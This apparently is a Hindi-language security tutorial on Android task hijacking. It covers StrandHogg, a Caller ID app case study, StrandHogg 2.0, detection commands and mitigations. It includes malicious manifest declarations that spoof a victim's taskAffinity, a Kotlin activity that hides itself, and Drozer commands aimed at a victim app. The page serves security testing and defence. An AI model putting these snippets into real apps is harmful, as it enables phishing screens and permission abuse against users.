Android Task Hijacking

Reading time: 9 minutes

Task, Back Stack and Foreground Activities

Android में, एक task मूल रूप से गतिविधियों का एक सेट है जिससे उपयोगकर्ता एक विशिष्ट कार्य पूरा करने के लिए इंटरैक्ट करते हैं, जो एक back stack के भीतर व्यवस्थित होता है। यह स्टैक गतिविधियों को इस आधार पर क्रमबद्ध करता है कि वे कब खोली गई थीं, सबसे हाल की गतिविधि को शीर्ष पर foreground activity के रूप में प्रदर्शित करता है। किसी भी समय, केवल यह गतिविधि स्क्रीन पर दिखाई देती है, जिससे यह foreground task का हिस्सा बन जाती है।

गतिविधि संक्रमणों का त्वरित विश्लेषण यहाँ है:

• Activity 1 एकमात्र गतिविधि के रूप में foreground में शुरू होती है।
• Activity 2 को लॉन्च करने से Activity 1 को back stack में धकेल दिया जाता है, जिससे Activity 2 foreground में आ जाती है।
• Activity 3 शुरू करने से Activity 1 और Activity 2 स्टैक में और पीछे चले जाते हैं, Activity 3 अब सामने होती है।
• Activity 3 को बंद करने से Activity 2 फिर से foreground में आ जाती है, जो Android के सुव्यवस्थित कार्य नेविगेशन तंत्र को प्रदर्शित करती है।

Task affinity attacks

taskAffinity Android को बताता है कि एक Activity किस task से पसंद करेगी। जब दो गतिविधियाँ समान affinity साझा करती हैं, Android को उन्हें एक ही back-stack के भीतर मर्ज करने की अनुमति है, भले ही वे विभिन्न APKs से आती हों।

यदि एक हमलावर उस स्टैक के root पर एक दुर्भावनापूर्ण गतिविधि रख सकता है, तो हर बार जब पीड़ित वैध एप्लिकेशन खोलता है, तो दुर्भावनापूर्ण UI वह पहली चीज होगी जो उपयोगकर्ता देखता है - फ़िशिंग या दुरुपयोग की अनुमति अनुरोधों के लिए बिल्कुल सही।

हमले की सतह कई डेवलपर्स की सोच से अधिक व्यापक है क्योंकि हर गतिविधि स्वचालित रूप से एप्लिकेशन पैकेज नाम के बराबर एक affinity विरासत में लेती है (जब तक डेवलपर android:taskAffinity="" सेट नहीं करता)। इसलिए कुछ न करना पहले से ही Android संस्करण 11 से पहले कार्य हाइजैकिंग के लिए ऐप को खुला छोड़ देता है।

Classic "singleTask / StrandHogg" scenario

1. हमलावर एक गतिविधि घोषित करता है:

<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

2. दुर्भावनापूर्ण ऐप को एक बार शुरू किया जाता है ताकि कार्य (धोखाधड़ी वाली affinity के साथ) हाल की गतिविधियों में मौजूद हो।
3. जब उपयोगकर्ता बाद में असली एप्लिकेशन खोलता है, तो Android पाता है कि पहले से ही एक कार्य है जिसका root affinity पैकेज से मेल खाता है और बस उस कार्य को foreground में लाता है।
4. हमलावर का UI पहले दिखाया जाता है।

Default–Affinity (no singleTask) variant – Caller ID case study

Caller ID (caller.id.phone.number.block) एप्लिकेशन में रिपोर्ट की गई भेद्यता दिखाती है कि हमला भी डिफ़ॉल्ट standard लॉन्च मोड के खिलाफ काम करता है:

1. हमलावर एप्लिकेशन एक नकली रूट गतिविधि बनाता है और तुरंत खुद को छिपा लेता है:

class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // कार्य को हाल की गतिविधियों में रखें लेकिन दृष्टि से बाहर
}
}

2. मैनिफेस्ट को केवल पीड़ित पैकेज को taskAffinity में कॉपी करने की आवश्यकता है:

<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>

3. जैसे ही उपयोगकर्ता दुर्भावनापूर्ण ऐप को एक बार स्थापित और खोलता है, एक कार्य जिसका affinity पीड़ित पैकेज के बराबर है (लेकिन बैकग्राउंड में है) मौजूद होता है।
4. जब असली Caller ID एप्लिकेशन लॉन्च होता है, तो Android उस कार्य का पुनः उपयोग करता है और HackActivity को foreground में लाता है → फ़िशिंग विंडो/अनुमति दुरुपयोग।

NOTE: Android 11 (API 30) से शुरू होकर सिस्टम डिफ़ॉल्ट रूप से एक ही UID का हिस्सा नहीं होने वाले दो पैकेजों को एक ही कार्य में नहीं रखता, इस विशेष रूप को कम करता है। पुराने संस्करणों में भेद्यता बनी रहती है।

StrandHogg 2.0 (CVE-2020-0096) – Reflection-based task hijack

Google के मई-2020 सुरक्षा बुलेटिन ने एक अधिक उन्नत रूप को ठीक किया जिसे StrandHogg 2.0 कहा जाता है। यह शोषण taskAffinity पर निर्भर नहीं करता; इसके बजाय यह reflection का उपयोग करके हमलावर की गतिविधि को हर चल रहे कार्य के शीर्ष पर गतिशील रूप से डालता है, Android 11 द्वारा पेश की गई "shared-UID" प्रतिबंध को पूरी तरह से बायपास करता है।

मुख्य बिंदु:

• एक शून्य-अनुमति वाला दुर्भावनापूर्ण ऐप, एक बार खोले जाने पर, चल रहे कार्यों पर पुनरावृत्ति कर सकता है और re-parent करने के लिए छिपी हुई APIs को कॉल कर सकता है।
• चूंकि गतिविधि रन-टाइम के बाद डाली जाती है, न तो launchMode और न ही स्थैतिक मैनिफेस्ट विश्लेषण हमले का पूर्वानुमान कर सकता है।
• Android 8.0/8.1/9 (मई 2020 SPL) में एक चेक को बैक-पोर्ट करके पैच किया गया। Android 10 और बाद के संस्करण प्रभावित नहीं हैं।

प्री-पैच किए गए उपकरणों पर पहचान adb shell dumpsys activity activities के साथ की जा सकती है और संदिग्ध गतिविधियों की निगरानी की जा सकती है जिनका पैकेज नाम कार्य की affinity से भिन्न होता है।

विरासत उपकरणों के लिए शमन क्लासिक Task Hijacking के समान है प्लस रन-टाइम सत्यापन (जैसे ActivityManager#getRunningTasks को कॉल करना और अपने पैकेज नाम को मान्य करना)।

Detection & Exploitation checklist

1. Static review – लक्षित APK से AndroidManifest.xml खींचें और जांचें कि प्रत्येक <activity> (या वैश्विक <application> तत्व) में android:taskAffinity="" (खाली) या एक अनुकूलित मान है। उपकरण जैसे:

# Using apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity

# Using AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity

2. Dynamic review – डिवाइस पर लक्षित ऐप खोलें और कार्यों की सूची बनाएं:

adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

एक कार्य जिसका रूट affinity पीड़ित पैकेज के बराबर है लेकिन जिसका शीर्ष गतिविधि विभिन्न पैकेज से संबंधित है, एक लाल झंडा है। 3. ऊपर वर्णित अनुसार एक दुर्भावनापूर्ण ऐप तैयार करें, या Drozer का उपयोग करें:

drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Mitigation

डेवलपर्स को चाहिए:

• <application> स्तर पर स्पष्ट रूप से android:taskAffinity="" सेट करें (अनुशंसित) या प्रत्येक गतिविधि को एक अद्वितीय, निजी affinity दें।
• अत्यधिक संवेदनशील स्क्रीन के लिए, उपरोक्त को android:launchMode="singleInstance" या आधुनिक setLaunchMode सुरक्षा के साथ मिलाएं।
• ऐप के targetSdkVersion को अपडेट करें और Android 11 व्यवहार परिवर्तन लागू करें जहां कार्य डिफ़ॉल्ट रूप से पैकेजों के बीच साझा नहीं होते हैं।
• Android 12 (API 31) या उच्चतर को लक्षित करें ताकि अनिवार्य android:exported विशेषता डेवलपर्स को हर बाहरी-प्रवेश योग्य घटक का ऑडिट करने के लिए मजबूर करे।
• रन-टाइम आत्म-रक्षा पर विचार करें: समय-समय पर ActivityTaskManager को क्वेरी करें ताकि यह सुनिश्चित हो सके कि आपकी शीर्ष गतिविधि का पैकेज आपके अपने से मेल खाता है।

Related UI-Hijacking techniques

Task hijacking अक्सर tapjacking (ओवरले-आधारित UI धोखाधड़ी) के साथ मिलाया जाता है या इसे प्रतिस्थापित किया जाता है। 2025 TapTrap अनुसंधान ने दिखाया कि पूरी तरह से पारदर्शी एनिमेशन-चालित गतिविधियाँ Android 12–14 में पेश की गई ओवरले-टच प्रतिबंधों को बायपास कर सकती हैं और फिर भी उपयोगकर्ताओं को खतरनाक अनुमतियाँ देने के लिए धोखा दे सकती हैं। जबकि TapTrap सख्ती से task हाइजैकिंग नहीं है, अंतिम लक्ष्य (फ़िशिंग क्लिक) समान है - इसलिए आधुनिक आकलनों को दोनों हमले की सतहों की जांच करनी चाहिए।

References

• https://blog.dixitaditya.com/android-task-hijacking/
• https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html
• Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app
• https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06
• Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up
• USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android